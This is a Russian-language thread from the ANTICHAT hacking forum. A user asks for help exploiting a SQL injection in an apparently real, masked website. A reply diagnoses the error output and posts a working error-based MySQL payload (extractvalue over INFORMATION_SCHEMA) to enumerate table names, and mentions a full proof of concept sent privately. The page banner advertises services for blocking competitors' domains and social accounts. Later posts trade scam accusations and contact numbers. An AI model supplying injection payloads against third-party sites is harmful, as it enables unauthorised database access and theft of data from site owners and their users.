SQL - injection. — ANTICHAT Forum

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
SQL - injection.

Страница 1 из 2

Опции темы

Поиск в этой теме

Опции просмотра

19.03.2017, 13:09

elvir

Новичок

Регистрация: 30.11.2016

Сообщений: 11

Провел на форуме:
2741

Репутация: 0

Нужна помощь: есть сайт вида http://xxxx/?r=club/catalog/detail&id=12при подстановки ковычки id=12' вылазит следующая ошибка:

CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND date = 201703' at line 1

при попытки подобрать кол-во столбцов http://xxxx/?r=club/catalog/detail&id=12+order+by+1+--+ (или http://xxxx/?r=club/catalog/detail&i...er+by+1000+--+)появляется такая ошибка:

CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42S22]: Column not found: 1054 Unknown column '1' in 'order clause'

пробовал и - ставит впереди 12, и ковычку после 12 и делать запрос, всё равно не могу понять в чём проблема. Может кто подскажет, или как в SQLmape раскрутить, я так понял уязвимый параметр id.

19.03.2017, 14:08

SooLFaa

Постоянный

Регистрация: 17.03.2014

Сообщений: 530

Провел на форуме:
187765

Репутация: 154

Таргет в лс. А вообще смотри на саму ошибку где ругается. В первом случае потеряна кавычка у строки '' AND date = [Вот здесь]201703' или наоборот последняя лишняяВо втором случае оператор order by считает 1 текстовой строкой.

19.03.2017, 14:36

SooLFaa

Постоянный

Регистрация: 17.03.2014

Сообщений: 530

Провел на форуме:
187765

Репутация: 154

Как обычно полный РоС выслал в ЛС. А если кому интересно то решается еррор бэйседом в ордер бай.

Код:

site.ru/detail&id=-53 order by extractvalue(0x0a,concat(0x0a,(select TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database()   LIMIT 1,1))) -- -

27.03.2017, 00:45

because

Новичок

Регистрация: 21.12.2009

Сообщений: 4

Провел на форуме:
285699

Репутация: 0

ТС, КИДАЛА!!!

БУДЬТЕ ОСТОРОЖНЫ!

27.03.2017, 00:54

SooLFaa

Постоянный

Регистрация: 17.03.2014

Сообщений: 530

Провел на форуме:
187765

Репутация: 154

Цитата:

Сообщение от because

↑
ТС, КИДАЛА!!!

БУДЬТЕ ОСТОРОЖНЫ!

Интересно в чем же? Он ничего не обещал

27.03.2017, 00:55

because

Новичок

Регистрация: 21.12.2009

Сообщений: 4

Провел на форуме:
285699

Репутация: 0

Цитата:

Сообщение от SooLFaa

↑
Интересно в чем же? Он ничего не обещал

К этой теме не относится, товар продавал и после перевода сразу пропал.

27.03.2017, 00:56

SooLFaa

Постоянный

Регистрация: 17.03.2014

Сообщений: 530

Провел на форуме:
187765

Репутация: 154

Цитата:

Сообщение от because

↑
К этой теме не относится, товар продавал и после перевода сразу пропал.

Интересно на пруфы взглянуть. Ну а так, за такое модеры обычно банят.

27.03.2017, 01:02

because

Новичок

Регистрация: 21.12.2009

Сообщений: 4

Провел на форуме:
285699

Репутация: 0

Цитата:

Сообщение от SooLFaa

↑
Интересно на пруфы взглянуть. Ну а так, за такое модеры обычно банят.

Суи уже отписал)

На 500р кинул

ICQ - 712024700

ICQ - 707394583

Со второй аськи написала примерно через час после первого, с историей что мы когда-то там общались и у него есть ахуенный товар Только он не учел что он был единственным с кем я там общался и никому этот контакт не давал)

27.03.2017, 02:07

SooLFaa

Постоянный

Регистрация: 17.03.2014

Сообщений: 530

Провел на форуме:
187765

Репутация: 154

Цитата:

Сообщение от because

↑
Суи уже отписал)
На 500р кинул
ICQ - 712024700
ICQ - 707394583
Со второй аськи написала примерно через час после первого, с историей что мы когда-то там общались и у него есть ахуенный товар
Только он не учел что он был единственным с кем я там общался и никому этот контакт не давал)

Бывает